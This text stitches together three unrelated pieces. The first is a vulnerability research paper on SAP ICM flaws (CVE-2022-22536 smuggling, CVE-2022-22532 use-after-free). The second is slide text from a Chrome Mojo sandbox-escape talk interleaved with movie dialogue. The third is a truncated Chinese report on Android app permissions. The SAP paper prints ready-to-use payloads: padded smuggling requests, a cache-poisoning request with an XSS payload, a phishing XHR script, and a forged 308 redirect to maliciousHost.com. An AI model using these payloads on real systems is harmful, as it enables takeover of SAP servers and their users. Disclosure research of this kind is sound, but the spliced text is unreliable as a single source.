Abstract 1 Outline 2 Introduction 3 ICM Architecture 3 Overview 3 Internal Handlers 4 Memory Pipes 5 MPI Handler 5 MPI Buffers 5 HTTP WorkFlow 6 Step 1: Init/recover Connection 6 Step 2: Receive the Request 7 Step 3: Parse Request Headers 7 Step 4: ICM SubHandlers 8 Step 5: Communicate Response 9 Step 6: Dispatch Response 10 Step 7: Clean MPI Buffers 10 MPI Desynchronization 10 CVE-2022-22536 10 ICM Response Smuggling 11 Browser-Backend Desync 13 MPI Use-After-Free 14 CVE-2022-22532 14 Buffer Hijacking 15 HTTP Message Tampering 16 OOB Buffer Tampering 17 Conclusion 18 Introduction The SAP Internet Communication Manager (ICM) is one of the most important components of an SAP NetWeaver Application server, as it allows for the communication of the SAP system with the outside world (i.e., the Internet). Even though the ICM can understand and handle different protocols such as P4, IIOP, SMTP, and others, one of its core purposes is to work as the SAP HTTP(S) server. This service is always present and exposed by default in an SAP Java stack and is required to run web applications in SAP ABAP (Web Dynpro) and S/4HANA systems. Additionally, the SAP ICM is part of the SAP Web Dispatcher, which means that it typically sits between most SAP application servers and the clients (with the clients potentially being the Internet). For the purposes of this research, the ICM can be seen as an HTTP Server included and available in all SAP products. ICM Architecture Overview SAP provides an architecture overview of the Internet Communication Manager architecture. As most HTTP Servers, the ICM uses multiple threads to handle TCP connections. When a client opens a new connection with the HTTP port, the Thread Control will assign a new Worker Thread from the Pool to handle the incoming data. The ICM is designed to work with different language dependent stacks like Java and ABAP. For this reason, all business logic, including the engines in charge of processing the requests, is separated from the HTTP service process. As a result, the ICM and Java/ABAP need to communicate with each other to exchange requests and responses, as well as information about the connection. To support this multi-tier architecture, each connection is assigned a Memory Pipe Handler, which will be in charge of managing the request/response pipes and the out of bounds communication between processes. Internal Handlers Java and ABAP processes are in charge of receiving client requests and generating responses based on the business logic. As previously explained, the ICM parses HTTP messages and forwards this data to the corresponding application. However, the ICM is also capable of generating responses to specific requests using internal handler functions coded inside the binary. Depending on the URI prefix, The local handlers are called in the order described. All these will work using just the Headers data structure created by the ICM when the request was parsed. The list of subhandlers documented by SAP is: 1. Logging Handler: HttpLogHandler This handler records HTTP requests. 2. Authentication Handler: HttpAuthHandler The authorization check for the requested page is carried out here. 3. Server Cache Handler: HttpCacheHandler This handler is used to read from and write to the ICM server cache and works as follows: a. Reads the request b. If the requested object is in the cache, it delivers the cache entry to the caller. c. If it isn't (access error, cache miss), it passes the request to the next handler. d. Stores the entry in the cache before sending the HTTP response to the client 4. Admin Handler: HttpAdmHandler The admin handler processes administration requests. 5. Modification Handler: HttpModHandler The modification handler can change the http request (header fields, URL values, and so on). 6. File Access Handler: HttpFileAccessHandler This handler returns a file from the file system (suitable for static files as well as images and HTML pages). The URL prefixes the static file access is to be carried out for are determined in the i icm/HTTP/file_access_<xx> parameter. 7. Redirect Handler: HttpRedirectHandler This handler simply forwards the HTTP request to another HTTP server (HTTP redirect). The URL prefixes the ICM is to carry out the redirect for are determined in the icm/HTTP/redirect_<xx> parameter. 8. ABAP Handler This handler forwards the request to the AS ABAP and waits for a response. A user context is created in the work process only if this handler is being used. 9. Java Handler: HttpJ2EE2Handler This handler forwards the request to the integrated Application Server Java. When reversing the ICM binary, it was possible to identify 4 extra sub handlers. As the ICM is also used to handle HTTP traffic in SAP Web Dispatcher (Web Proxy), it is possible that these handlers are related to it: ● HttpPublicHandler ● HttpFilterHandler ● HttpTestHandler Memory Pipes MPI Handler As mentioned above, the Internet Communication Manager dispatches HTTP messages to Worker Processes (Java/ABAP) using Inter-Process Communication. For this, data is written and read from the shared memory which will be accessible from different processes. Memory Pipes and MPI Buffers are actually part of what is known as the Fast Channel Architecture. This is nothing more than a set of data structures that represent the shared memory as a Queue of MPI Buffers and the associated Pipes (Handlers) pointing at them. These are all created at ICM startup using shmget and other SHM C functions. MPI Objects could be seen as the equivalent of an ICM API for Shared Memory handling, just like the glibc malloc/free API would work to handle Heap memory regions. To efficiently work with shared memory, each thread is assigned an MPI (Memory Pipe) handler which will be in charge of allocating and deallocating buffers. This handler must not be confused with internal handlers or with classic IPC pipes. The name only indicates the proprietary API used by SAP. MPI Buffers MPI Buffers are fixed size (2^16 Bytes) shared memory regions which can contain either control data or HTTP messages. An 80 Byte Header is set for the request/response MPI Buffers, and a null byte indicates the end of the message body. This means that each MPI Buffer can store up to 2^16 - Headers (80) - Null (1) = 65455 Bytes of actual HTTP data. 80 bytes 65456 bytes HEADER HTTP DATA 0x00 As an HTTP message can be bigger than 65455 bytes, multiple buffers might be required for a single request or response. To indicate this, the MPI handler stores the amount of buffers and the address pointer of each in an Out Of Bounds (OOB) extra buffer that will be also sent to the corresponding process through the shared memory. The ICM max HTTP header’s length is 65455 Bytes, which is the same size as the MPI Buffers. This is so that the entire headers can fit in a single Buffer and any extra one will contain HTTP body data not required by the HTTP Parser and Handlers. It is important to note that MPI buffers are multipurpose, and the same memory space can be used either for requests, responses or OOB data. The difference will be found in the data written by the handler. OOB buffers do not have headers and contain information used to recover HTTP data. HTTP WorkFlow The main purpose of the ICM is to handle data from the internet and eventually forward it to the corresponding process (Java / ABAP). This is achieved using an HTTP parser, a number of HTTP handlers and finally a shared memory region to send data through the different components. To better understand the different handlers, functions and data structures involved in the ICM HTTP service, let's consider the entire process of receiving and resolving an HTTP request. Step 1: Init/recover Connection When a client message is received through the HTTP/S port, a Worker Thread is woken up from the thread pool and assigned to the new connection. If the TCP connection already existed, then the previously assigned Worker Thread is retrieved. If the connection is new, four memory pipes (MPI) will be obtained from the MPI queue and stored for the connection in the thread. Once the Worker Thread has the Memory Pipes ready, the ICM will be able to obtain memory buffers to place the incoming (and eventually outgoing) HTTP message. These Object instances also contain pointers to the different MPI Buffers (shared memory) used in the connection and information about them (type, in use/freed, empty, last written position, next buffer, and others). Step 2: Receive the Request The first thing the Worker Thread will do when a new HTTP request arrives is to obtain a new MPI Buffer to place the message. This is done using the function IcmMpiGetOutbuf which will return among others the pointer to the beginning of the buffer. After the get buffer function is called, the ICM will know the address of the buffer (in shared memory) and the ID reference to it. Once the MPI Buffer is obtained from the Queue by the Request Pipe Handler (Req. MPI), the MPI Header is set, which contains information such as the header size, buffer type, associated Memory Pipe and other control flags. This is done using the function IcmMpiSetHeaderData, and in the case of a request buffer, the type is always 1 and the length is 80 bytes. Next, the Worker Thread will call the function IcmReadFromConn which reads the HTTP request from the TCP connection. If the request’s length is greater than the buffer size (minus the 80 header bytes and the null terminator), only the first 65455 bytes will be copied in the MPI Buffer. The rest will be placed later in another MPI buffer. Even though the next step is to parse the HTTP request headers, the first function called will verify that the end of the headers (the sequence “ 0x0d 0x0a 0x0d 0x0a”) is found. If the sequence is not found two things can happen: ➢ If the amount of bytes received are greater or equal to 65455 and no termination sequence (\r\n\r\n) is found in the first MPI Buffer, the ICM will discard the request and respond with an error message. ➢ If the amount of bytes are less than 65455 and no termination sequence is found, the Worker Thread will wait (sleep until recv in the same connection) for more HTTP data to arrive, as it is required that the HTTP headers are complete before actually parsing them. Step 3: Parse Request Headers Once the HTTP Headers are completely written in the MPI Buffer, the ICM will use it to parse the different header names and values. This is done using the function HttpParseRequestHeader which will not only create a Headers data structure, but also recognize the following header names: ● Host ● Content-Length ● Transfer-Encoding ● HTTP Version (from first request line, is treated as a header) ● Connection (keep-alive/close) ● Sap-cancel-on-close The URI and HTTP Method are parsed as well but stored differently (as they are not headers). Once the headers are parsed, the ICM will use them to perform some other operations such as determining if the entire request is in the buffer and if there are pipelined requests, if the transfer encoding is chunked, if the virtual host exists, and others. After headers are used to give context to the request, the HttpSrvHdlRequest function is called. This is the main HTTP handler function in the ICM and its purpose is to determine which HTTP Handlers should be called (ordered) to try to resolve the request. For this, the server handler will use the HTTP Method and URI from the parsed request. Depending on these values, different sub handlers will be chosen. The purpose of the ICM is to produce a response for the incoming request.This can be achieved either by using a local (sub)handler or by asking the Java Server / Work Process to resolve it. It is important to notice that, after the headers are parsed, the name-value pairs are stored in a dictionary data structure that will be used by the ICM and the subhandlers. This means that the actual request stored in the MPI Buffer is not used again by the ICM. Instead, it will be used by the Java/ABAP process once, and if, is called by the appropriate process handler. Step 4: ICM SubHandlers As explained before, each handler will be called depending on the URI prefix and the HTTP method of the request. Some handlers, such as the HttpModHandler, HttpCacheHandler and Java/ABA Handler are always included in the subhandlers hierarchy If a subhandler has created the HTTP response, the following subhandlers are no longer included in the hierarchy and the response is returned back to the client. The exception is the logging handler. This carries out the HTTP logging and forwards it to the next subhandler. It is important to understand that even if a sub handler is included in the handling hierarchy and called by the ICM, this does not mean that it will be able to produce a response. In many cases, the sub handler will check if the request fits some requirements and if not, the next sub handler will be called. What makes the sub handling of HTTP messages interesting is that request’s data is retrieved on demand by the handler. By default only the first bytes of a request corresponding to the headers are placed in the MPI Buffer. This means that when the first sub handler is called, the rest of the HTTP request will not be in the Buffer. Instead, it will be waiting for the ICM to retrieve it from the TCP connection and use it. Only when a handler requires the body of the HTTP request (for example the HttpJ2EE2Handler) the rest of the request will be read and copied in the MPI Buffer (multiple buffers could be used in this step). Is the job of the ICM Worker Thread to discard the rest of the request if a handler resolves it before all the data is retrieved from the network. As an example, consider a request to a Java dynamic servlet: --------------------------------------------------- GET /SomeServlet HTTP/1.1 Host: sapserver.com Content-Length: 70000 <70000-bytes> --------------------------------------------------- As the request headers are contained in the first 65455 bytes (as expected) the Worker Thread will only copy those bytes in the first MPI Out Buffer. Next the headers will be parsed and the corresponding sub handlers will be called to try to create a response. In this case, the request will not be resolved by the ICM internal sub handlers and so finally the HttpJ2EE2Handler will be called. At that moment, the extra bytes of the request (body bytes) will be read and copied to a new MPI buffer. After this, the buffers are flushed to the Java Server Process (this is, the pointer to the shared memory is sent to the Java Process). With the entire request in memory, the Java Process will resolve the request and return an HTTP response that must be sent back to the client. Step 5: Communicate Response Once the response is created by the Java/ABAP process, it needs to be sent back to the ICM Worker Thread. And in order for this to happen, one or more MPI Buffers are created containing the HTTP message. The reference to this MPI In Buffer (shared memory) is sent to the Worker Thread, which will use it to retrieve the response. It is important to notice that the MPI In Buffers are obtained from the same Queue as the MPI Out Buffers. For this reason one shared memory region can be used as a request buffer by one thread/process, and later be used as a response buffer for the same (or different) connection. Just like the request headers are parsed when the client’s message is received, the same goes for the response headers. This time, the function in charge of obtaining the different header names-values is HttpParseResponseHeader. There are a number of different headers recognized by the mentioned function, but in particular, the ICM will recognize the sap-cache-control name, as this special header is used after to determine if the cache response handler should be called. Step 6: Dispatch Response Once the response headers are parsed, the ICM needs to send the response back to the client. To do so, it will first retrieve all the response MPI Buffers from the shared memory. These buffer pointers are returned from the Java/ABAP process and will be used to send the HTTP message through the open TCP connection. Step 7: Clean MPI Buffers Finally, all MPI buffers are freed to allow other Connections to be able to use them again. Freeing an MPI buffer will mark the buffer as not used, increase the Free MPI counter and return the buffer IDs to the MPI Queue. Even though request and response buffers are freed through the different steps (after requests and responses are completed), there is a FreeAllMPIBuffers() function which will ensure that no MPI buffers are left reserved once the response is delivered back. Once the MPI Buffers are freed and the response is sent back to the client, the Worker Thread will go back to sleep until a new request is received. MPI Desynchronization CVE-2022-22536 SAP ICM uses MPI buffers in shared memory to transfer HTTP data between the internal handlers and the working processes (or java server processes). These buffers have a fixed size of 65536 bytes. As HTTP request and response sizes could be larger than 2^16 - 81, a single message could require multiple MPI Buffers to be transmitted. The length of the HTTP headers in a request, including the URI line, cannot be larger than 2^16 (In the case of the ICM, this length is reduced due to the buffer headers and the null byte). For this reason, when a multi-MPI Buffer message arrives, the ICM will process the first Buffer only, as HTTP headers can fit a single one. With it, different internal Handlers will preprocess the request before the actual body in other MPI buffers is required (by the work process) and flushed. Right after the request is resolved, all used MPI buffers are discarded and the ICM will continue processing the next queued ones (pipelining). However, as special requests can be resolved by static handlers before they reach the working process (java/abap), some MPI buffers containing HTTP data might not get used. This means that all remaining data, which should have been consumed using the message-length header of the request, will remain in the network queue. For this reason, if a request larger than 2^16 bytes is sent to the ICM and gets resolved by a static handler, the payload after the 65455 byte (buffer size - MPI header) will be considered a new request. This will not be consistent with any proxy HTTP parser, and therefore will cause a desynchronization in the connection. Using this technique, an attacker could use Request and Response Smuggling to completely take control of the target system. What's more, as the attack does not rely on any special header, it can be sent through HTML and JavaScript. This means that an attacker could place the payload in a malicious web server and if a victim visits the site, the browser will perform the smuggling attack and the system will get compromised. ICM Response Smuggling Response smuggling works by placing focus on the response queue of the HTTP communication instead of the requests. This means that an attacker will try to desync a response by splitting it into 2 different ones. The HTTP/1.1 RFC states that HEAD responses can contain the original Content-Length header (different from 0), however this value must be ignored by any proxy or client as it corresponds to the special HEAD request. But still, this means that a response containing an empty body and a Content-Length header with a value greater than 0 is issued and so it is extremely important that all proxies forwarding this response know that it corresponds to the HEAD request. If a smuggled request, hidden from the proxy, includes a HEAD method message, the response generated at the backend will only contain the headers of the response (as expected), but the proxy will consider the Content-Length to be valid and will expect a non-empty body. This will happen because the proxy, in this case the Web Dispatcher, will relate the mentioned response with the next request arriving (the one that follows the malicious payload containing the smuggled message). In the example from the image, when the responses are sent back to the Web Dispatcher, both will be related to GET requests, which means that the content-length must be used to know the length of the body. In this case, the ICM will generate 3 responses (GET, HEAD and GET), but the Proxy will relate the first 2 with the first 2 GET messages. This means that the first response will be forwarded as expected, but the second one will contain the Content-Length header (and an empty body), which will force the Web Dispatcher to wait for more data (the amount of bytes indicated in the value of the Content-Length) to use as the body. To obtain arbitrary cache poisoning, an attacker can choose to use the headers of a response containing the Cache-Control directive (max-age>0). This will force the Proxy to store the new concatenated response in the Web Cache and poison the URL of the last issued GET request. If the body of the new concatenated HTTP message contains a malicious payload, such as reflected data that can be used to execute JavaScript code, then every user trying to access the selected (arbitrary) URL will receive the Cache stored payload. The same idea can be improved by injecting multiple responses (Response Smuggling) with the first malicious request (GET+HEAD+ANY) which can be used to build the new HTTP payload. This can help the attacker to create more complex attacks such as the one in the Java example which permanently replaces a login page with a single request. The following request could be used to poison an arbitrary URL with a malicious JS payload: GET /sap/admin/public/default.html?a HTTP/1.1 Host: www.SapServer.com Content-Length: <length_until_last_GET_request> Padding: <padding_to_complete_65455_bytes> HEAD /webdynpro/welcome/Welcome.html HTTP/1.1 Host: <host> HEAD http://<img%20src=""%20onerror="alert('XSS')">/nwa HTTP/1.1 Host: www.SapServer.com Content-Length: 1 GET /poisoned_URL HTTP/1.1 Host: aaaaa.com Connection: close Browser-Backend Desync Most HTTP Desynchronization vulnerabilities rely on Header parsing errors. This means that the request used to smuggle malicious payloads needs to contain a special header to desynchronize the frontend and backend servers. As CVE-2022-22536 causes desynchronization using an internal memory error, it is possible to send the payload through basic HTML/JavaScript requests. The same would be valid if the HTTP header required for exploitation is valid and can be sent through javascript to the vulnerable domain. For this reason, an attacker could create a malicious web page which will trigger the attack as soon as a victim renders its content. This way, the victim’s browser could be seen as the front-end even when a single connection is used per client. This condition can be found when TCP pooling is disabled or when no proxy is present. To successfully hijack a victim’s browser, it would be necessary to launch a phishing attack, which will force the user to execute the following payload: <script> padding = Array(65455).join(“a”) smuggle = “GET /smuggled HTTP/1.1\r\nHost:www.SapServer.com\r\n\r\n” var xhr = new XMLHttpRequest(); xhr.open("POST", “www.SapServe.comr”, true); xhr.send(padding+smuggle); </script> Using this technique it is possible to create a Desynchronization Botnet to compromise every client’s connection and persist the attack with a single request. The same idea could be used with Response Smuggling and JS Cache Poisoning. MPI Use-After-Free CVE-2022-22532 Each time a Worker Thread receives an HTTP request from the internet, it asks for an MPI buffer to store the incoming data. It also stores information about the mentioned buffer, such as state, content-length, individual buffer length, writing offset and others. Once response parser and handler functions complete their execution, the message is sent to the client and the Worker Thread cleans up all used memory resources with the method MpiIFreeAllBuffers and goes back to sleep until another request is ready to be processed. This means releasing the MPI buffers so that they can be used again in future requests and by other Worker Threads. The Internet Communication Manager implements pipelining which allows clients to send multiple concatenated requests that should be resolved in order and isolated by the backend server. For this reason, more data is received after the end of the first HTTP request, and this is considered to be another pipelined message. This extra data is placed on another MPI buffer, which is obtained using the same IcmMpiGetOutbuf function. And right after the next request is placed in the new buffer, the execution of the ICM parser and handlers continue as if no extra data existed. But when the first response is sent and the Worker Thread releases all MPI buffers using the MpiIFreeAllBuffers() method, the pipelined buffer will also be marked as free. This allows other Worker Threads to claim the buffer for themselves, while the pipelined request’s connection still has the reference to it. This allows one Worker Thread connection to affect the request/response of another one holding the same memory reference. When the Worker Thread handles the second request, it will be parsed and when finally it is flushed by the last HTTP handler, an MPI Error will Trigger. But if the pipelined request was incomplete, the Worker Thread will ask for more data, and until received it will go back to sleep. This happens when no headers termination sequence is found or when the content length value is larger than the amount of bytes in the body. At that time, another Worker Thread or Process (Java/ABAP) will use the same buffer to handle a different connection (victim). This will allow the attacker to send more data which will be written to this buffer, tampering an arbitrary amount of bytes in the same offset that expected. Buffer Hijacking To trigger an HTTP tampering attack and modify other victim’s requests and connections, it is necessary to send two pipelined messages to the ICM. The first one will be processed normally as expected. When the Worker Thread handles the second request, it will be parsed and when finally it is flushed by the last HTTP handler, an MPI Error will Trigger. But if the pipelined request was incomplete, the Worker Thread will ask for more data, and until received it will go back to sleep. This happens when no headers termination sequence is found or when the content length value is larger than the amount of bytes in the body. At that time, another Worker Thread or Process (Java/ABAP) will use the same buffer to handle a different connection (victim). This will allow the attacker to send more data which will be written to this buffer, tampering an arbitrary amount of bytes in the same offset that expected. As an example, if the attacker sends the following request: GET / HTTP/1.1 Host: sapserver.com Content-Length: 0 01234 The string “01234” will be treated as a pipelined message. When the Worker Thread WT starts parsing it, it will find that the request is not complete (no break line sequence) and therefore it will wait (asleep) for more data to arrive. Next, another Worker Thread WT_X will handle a different connection using the same buffer to hold the arriving request: GET /someValidURL?param1=a&param2=b HTTP/1.1 Host: sapServer.com Cookies: sessionId=secretcookie123 During this, the attacker will send more data: “otherURL?param1=c#”, which will cause the first WT to awaken. At this moment the WT will write the attacker’s payload in the same buffer at position 5, right where it was the last byte in the original request “01234”. This will overwrite the bytes in the WT_X request as they share the same buffer: GET /otherURL?param1=c#\001=a&param2=b HTTP/1.1 Host: sapServer.com Cookies: sessionId=secretcookie123 When the WT_X either parses the victim’s message or when it is flushed to the Java/ABAP process, the tampered request will be used allowing the attacker to control the connection of the victim. As it can be noticed in the example, a null byte is placed after writing in the buffer. If the null byte is present in the body, both the parser and the Java/ABAP process will successfully process it. However, if the null byte is in the headers, only the other processes will exit normally. The HTTP parser will throw an error as null bytes are not allowed. This is just something to consider on exploitation and results analysis. HTTP Message Tampering This Use After Free vulnerability can be exploited using Request/Response Smuggling techniques, only in this case a proxy is not required. What's more, the attacker can arbitrarily overwrite the request of the victim instead of injecting a prefix. As MPI Buffers are not different for requests and responses, the attack can also be used to tamper any response data. This can be especially useful to hijack data using an HTTP 308 redirection response. And to persist the attack, it is possible to poison the internal Web Cache of the ICM, by sending a payload that is intended to tamper a valid HTTP response. Original response: HTTP/1.1 200 OK server: SAP NetWeaver Application Server 7.53 / AS Java 7.50 content-type: text/html; charset=utf-8 content-length: 10 HelloWorld Attacker Payload (starting from 4th position as in the previous example): 1.1 308 Found server: SAP NetWeaver Application Server 7.53 / AS Java 7.50 location: http://maliciousHost.com X-other: Final response to victim: HTTP/1.1 308 Found server: SAP NetWeaver Application Server 7.53 / AS Java 7.50 location: http://maliciousHost.com X-other: length: 10 HelloWorld The same idea can be used to save a malicious response in the cache by including the Sap-Cache-Control header in the injected response. This can be used just as in HTTP Response Smuggling with Arbitrary Web Cache Poisoning. OOB Buffer Tampering Finally, as MPI buffers also contain control data in out-of-band (OOB) pipes, tampering with these buffers can cause critical impact on the ICM server. As these shared memory regions hold memory pointers and connection state information, an attacker could modify this to crash the ICM or even take control of the process and execute malicious native code. The difference between tampering Requests/Responses and OOB Buffers is that there is less time between data being written and read from the last ones. For this reason, it is more probable that, when writing on a freed hijacked buffer, the memory region affected corresponds to a Request or a Response. To increase chances of hitting an OOB buffer, it is important to understand which process operates with this information and how they do it. OOB Buffers are used to synchronize the communication between the ICM and the Java/ABAP process. To do so, each ICM thread handling a client (TCP) connection will request two OOB buffers to the MPI Handler: One to send request’s information to the Worker Process and one to read responses from it. Just as any in producer-consumer application, the ICM thread will write the request in one (or more) MPI Data Buffer and mark the out OOB as “ready”. When this happens, a Java Thread will see that a new request is ready and will use the OOB information to know which memory regions should be used, as well as metadata of the incoming HTTP message. As Java Threads that are not busy are alway waiting for OOB data to process a request, the time between writing and reading these buffers is extremely short. However, there is a way to increase this time and successfully tamper the shared memory before it is used. For this, an attacker must force an ICM Worker Thread to forward a request when all Java Threads are busy. In this condition, the OOB buffer will be written by the ICM process, but it will only be read when the Java Process has a free Thread ready to handle the request. Because the amount of ICM Worker Threads in a default installation is higher than the Java Threads used to handle HTTP requests, it is possible to have more active producers than consumers. This can be achieved by sending more HTTP requests (in different TCP connections) than the number of Java Threads. When this happens, some ICM Threads will write OOB buffers that will stay idle until a Java Thread completes its work and is ready to handle a new request. Once in control of the OOB buffer, an attacker could modify the address pointers of the related Request Buffers. By this, it is possible to leverage the same “incomplete request” technique used to tamper Data Buffers. Only this time, the ICM will write the arriving bytes on the address indicated by the OOB buffer, resulting in a Write-What-Where condition. With sufficient information about the memory layout and using Ret2libc and ROP techniques it would be possible to craft a RCE payload. Still, the complexity of the attack makes this exploitation less probable in the wild. Conclusion The aforementioned vulnerabilities present a critical risk to all unprotected SAP applications that are not patched with the corresponding SAP Security Notes. Without taking prompt action to mitigate this risk, it’s possible that an unauthenticated attacker could fully compromise any unpatched SAP system in a simple way. These notes are rated with the highest CVSS scores and affect commonly deployed components in multiple, widely deployed products from SAP. It is also important to highlight that the affected components, by design, are intended to be exposed to the Internet, thereby greatly increasing the risk that any attacker, with access to the HTTP(S) port of a Java or ABAP system, could take over the applications and, in some circumstances, even the host OS. Furthermore, because in scenarios involving SAP NetWeaver Java systems, exploitation does not necessarily require a proxy between the ICM and the client, SAP and US CISA believe that all unpatched SAP applications are at risk and strongly advise all impacted organizations to prioritize patching these affected systems as soon as possible.
pdf
Breaking the Chrome Sandbox with Mojo _tsuro@, 2022 No memory was corrupted in the making of this presentation Kernel Browser Process Renderer Renderer Renderer Renderer Network GPU Renderer Browser Process Network URLLoader NetworkService NetworkContext ... RendererHost BlobRegistry GpuHost ... Renderer Browser Process Network URLLoader NetworkService NetworkContext ... RendererHost BlobRegistry GpuHost ... Renderer Browser Process Port X Port Y Port Z ... Port A Port B Port C ... To: X REQUEST_INTRODUCTION INTRODUCE BROADCAST_EVENT ACCEPT_INVITATION Data Data Data Data EVENT_MESSAGE EVENT_MESSAGE ... Data EVENT_MESSAGE kUserMessage kMergePort ... port_name port_name port_name Data Data Data OffensiveCon 2020 - Popping Calc with Hardware Vulnerabilities Leaking ports == bad ? Browser Renderer Network ? 0 ! ! ! ! 0 ! ? Socket is closed Browser process Delete peer node Node name reused Destroy all ports with peer Browser thread 2 Prepare to send message Read node name from port Send message (to wrong node) ? 1. leak port name 2. spoof message Socket is closed Browser process Delete peer node Node name reused Destroy all ports with peer Network Process Port OnError handlers Send PortClosed events ChildProcessHost: kill(child) Socket is closed Port OnError handlers ChildProcessHost: exit() Destroy all ports with peer Delete peer node “I have a dangerous fascination with terrible bugs.” @halvarflake Socket is closed Browser process Delete peer node Node name reused Destroy all ports with peer Network Process Port OnError handlers Send PortClosed events ChildProcessHost: kill(child) Socket is closed Port OnError handlers ChildProcessHost: exit() Destroy all ports with peer Delete peer node These are tasks on the IO thread Socket is closed Browser process Delete peer node Node name reused Destroy all ports with peer Port OnError handlers Send PortClosed events ChildProcessHost: kill(child) Network Process Socket is closed Port OnError handlers ChildProcessHost: exit() Destroy all ports with peer Delete peer node Node name reused Send PortClosed (P1) Browser Process Port OnError handlers Send PortClosed (P2) ... Send PortClosed (Pk) ChildProcessHost: kill(child) ... Send PortClosed (Pn) First leak Game over Issues: ● Tight race between leak and kill ● Network process will exit() KATE We need your help to overload the Gibson. RAZOR You are going to need more than just two media icons like us. You need an army. BLADE That's it! An electronic army! If I were us, I'd get on the internet, send out a major distress signal. RAZOR Hackers of the World, Unite! KATE Now listen up, use your best viruses to buy us time, we have to spoof a message to the network process. Virus Broadcast Request Issues: ● Tight race between leak and kill ● Network process will exit() KATE It's the Gibson, it's finding us too fast. Send PortClosed (P1) Browser Process Port OnError handlers Send PortClosed (P2) ... Send PortClosed (Pk) ChildProcessHost: kill(child) ... Send PortClosed (Pn) First leak Game over Send PortClosed (P1) Browser Process Port OnError handlers Send PortClosed (P2) ... Send PortClosed (P 100000) ChildProcessHost: kill(child) ... Port Name: X Peer: Issues: ● Tight race between leak and kill ● Network process will exit() Issues: ● Tight race between leak and kill ● Network process will exit() ● How to inject a message during the DoS? Turn off and on again? Network Process OnError Tasks DoS Destroy all ports with peer DoS Enqueue OnError Handlers Network Process OnError Tasks DoS Destroy all ports with peer DoS Enqueue OnError Handlers Process Spoofed Message Network Process OnError Tasks DoS Destroy all ports with peer DoS Enqueue OnError Handlers Process Spoofed Message Read Spoofed Message X Spoofed Message B BroadcastRequest Msg Small Message B B B B B B B X Spoofed Message B BroadcastRequest Msg Small Message B B B B B B B B B B B B B B B B B B B B B B B B B B B B Msg Msg Msg Msg Msg Msg Msg X Spoofed Message B BroadcastRequest Msg Small Message Msg Msg Msg Msg Msg Msg Msg B X Spoofed Message B BroadcastRequest Msg Small Message Msg Msg Msg Msg Msg Msg B X Spoofed Message B BroadcastRequest Msg Small Message Msg Msg Msg Msg Msg Msg Msg B X Spoofed Message B BroadcastRequest Msg Small Message Msg Msg Msg Msg Msg Msg B X Spoofed Message B BroadcastRequest Msg Small Message B Msg Msg Msg Msg Msg B X Spoofed Message B BroadcastRequest Msg Small Message B Msg Msg Msg Msg B X Spoofed Message B BroadcastRequest Msg Small Message B Msg Msg Msg X X Spoofed Message B BroadcastRequest Msg Small Message B Msg Msg X Spoofed Message B BroadcastRequest Msg Small Message X Msg X Spoofed Message B BroadcastRequest Msg Small Message X X Spoofed Message B BroadcastRequest Msg Small Message X B B B B B B B X Spoofed Message B BroadcastRequest Msg Small Message B B B B B B B B B B B B B B B B B B B B B B B B B B B B HAL They're coming in from remote nodes. They're going after the kernel! PHREAK Yo, check this out guys, this is insanely great. It's got a JavaScript engine! :( :( INSERT INTO cookies VALUES('\r\ncalc.exe\r\n') Takeaway Target-specific knowledge can be crucial ● Find bugs that fuzzers will never trigger ● Turn impossible bugs exploitable Got stuck? Watch Hackers!
pdf
编号:APP-YJBG-2019-001 App 申请安卓系统权限机制 分析与建议 (V1.0 版) App 专项治理工作组 2019-05 目 录 一、前言............................................................ 1 二、安卓系统简介.................................................... 2 三、安卓系统权限分类................................................ 3 四、收集使用个人信息相关权限........................................ 6 五、百款 App 权限申请情况对比分析.................................... 9 6.1 申请权限数量统计分析........................................ 9 6.2 申请权限占比统计分析....................................... 10 6.3 “强制”申请权限数量统计分析............................... 12 6.4 “强制”申请权限占比统计分析............................... 14 六、安卓系统权限使用建议........................................... 16 声 明 本文部分内容来源于互联网公开资料以及专家观点,如对本文 内容有相关建议,可发送邮件至 [email protected] 向 App 专项 治理工作组反馈。 本报告仅供相关组织和研究人员参考,如转载或引用该报告观 点、数据,请注明来源。 第 1 页 一、 前言 随着智能手机功能的日益强大,用户在手机上产生的 个人信息越来越多,其中很多个人信息是依托手机操作系 统的权限机制产生的。在一次网民隐私侵犯类型认知调查 中,受访网民认为手机的移动互联网应用程序(以下简称 “App”)读取通话记录、读取通讯录、读取短信和获取位 置信息等系统权限属于“隐私”范畴。2018 年中消协发布 的《100 款 App 个人信息收集与隐私政策测评报告》中显 示,位置、通讯录、电话等权限存在被广泛申请并有过度 使用的嫌疑。App 专项治理工作组自 3 月 1 日开通“App 个 人信息举报”微信公众号以来,收到大量关于 App 申请系 统权限相关的举报,包括以强制、一揽子等方式索要权 限,以及过度、频繁等形式索要业务功能非必要权限。由 此可见,规范 App 申请收集使用个人信息相关权限,对于 加强 App 个人信息保护具有重要意义。 App 专项治理工作组从主流安卓应用商店选取了 100 款 下载量大、民众熟知和常用的 App,对其申请安卓 (Android)系统权限的情况进行了分析,并整理形成了 “百款常用 App 申请收集使用个人信息权限列表”(附 后)。 第 2 页 二、 安卓系统简介 Android 操作系统是一种多用户 Linux 权限分隔的操 作系统,每个 App 都是一个不同的用户,当 App 安装到 Android 设备后,App 将运行在其独立的安全沙箱内,有其 独立的 Linux 进程。 Android 版 App 在默认情况下不拥有任何系统权限,不 会执行任何对其他应用、操作系统或用户有不利影响的操 作。包括读取或修改用户的私有数据(例如通讯录或电子 邮件)、读取或写入其他应用程序的文件、执行网络访 问、使设备保持唤醒状态等。 如果 App 因业务功能需要申请系统权限,通常情况 下,App 开发者可通过在 AndroidManifest.xml 配置文件中 明确声明的方式(静态方式),以及在代码运行阶段请求 的方式(动态方式)申请系统权限。 第 3 页 三、 安卓系统权限分类 App 在系统中所有预定义的权限根据作用的不同,分别 属于不同的级别,安卓系统权限级别分为如下四类,包括 普通级别(Normal)、危险级别(Dangerous)、签名级别 (Signature)及系统/签名级别(Signature or System),但 根据手机终端的系统版本和 App 的目标 SDK 等有不同的表 现方式,各类权限简介如下: (1)普通级别(Normal) 普通级别的权限,通常不会对用户隐私或设备操作造 成风险,App 只要申请了就可以使用(在 AndroidManifest.xml 中添加<uses-permission>标签), 安装时不需要用户确认,系统会自动授予,用户可以在 App 安装文件中看到这些权限,但无法进行管理,例如设置时 区的权限就是普通级别权限。 (2)危险级别(Dangerous) 危险级别的权限,也称为敏感权限,该类权限涉及用 户的“隐私”信息或相关资源,或者可能对用户存储的数 据或其他应用的操作产生影响。危险权限不仅需要在 AndroidManifest.xml 配置文件中申请,还需要在代码中动 态获取。比如读取通讯录(READ_CONTACTS)权限就属于敏 第 4 页 感权限。基于系统版本和应用的目标 SDK 